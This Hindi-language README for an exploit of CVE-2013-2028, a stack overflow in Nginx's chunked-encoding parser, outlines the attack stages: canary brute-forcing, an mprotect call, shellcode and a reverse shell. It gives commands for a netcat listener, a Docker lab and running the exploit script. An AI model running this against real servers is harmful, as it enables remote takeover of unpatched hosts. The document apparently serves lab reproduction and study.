CVE-2013-2028 शोषण

भेद्यता विवरण

भेद्य सॉफ्टवेयर: Nginx 1.3.9 < 1.4.0
फिक्स के साथ कमिट: https://github.com/nginx/nginx/commit/4997de8005630664ab35f27140e2077e818b21a7

भेद्यता ngx_http_parse_chunked फ़ंक्शन में मौजूद है। यह शोषण ngx_http_parse_chunked में पूर्णांक अतिप्रवाह को ट्रिगर करता है, और बाद में इसका उपयोग करके नियंत्रण प्रवाह को हाईजैक करने के लिए स्टैक को ओवरफ्लो करता है।

शोषण विवरण

वास्तविक शोषण में 4 चरण हैं:

1. बाइट-दर-बाइट ब्रूटफोर्स का उपयोग करके stack canary का मान ज्ञात करें
2. rcx (lpthread में कहीं इंगित करता है) से मान का उपयोग करके mprotect का पता गणना करें। उपयुक्त आर्गुमेंट्स के साथ mprotect को कॉल करें।
3. शेलकोड को RWX मेमोरी स्थान पर कॉपी करें।
4. शेलकोड पर जाएं, और रिवर्स शेल शुरू करें।

पुनरुत्पादन कैसे करें

1. होस्ट सिस्टम पर लिसनर शुरू करें, उदाहरण के लिए netcat का उपयोग करें: nc -lvp 4345
2. वर्चुअल मशीन पर डॉकर शुरू करें: sudo docker-compose up --build
3. एक्सप्लॉइट चलाएं: python2 exploit.py -ra 127.0.0.1 -rp 8081 -la <लिसनर मशीन का पता> -lp <लिसनर मशीन का पोर्ट>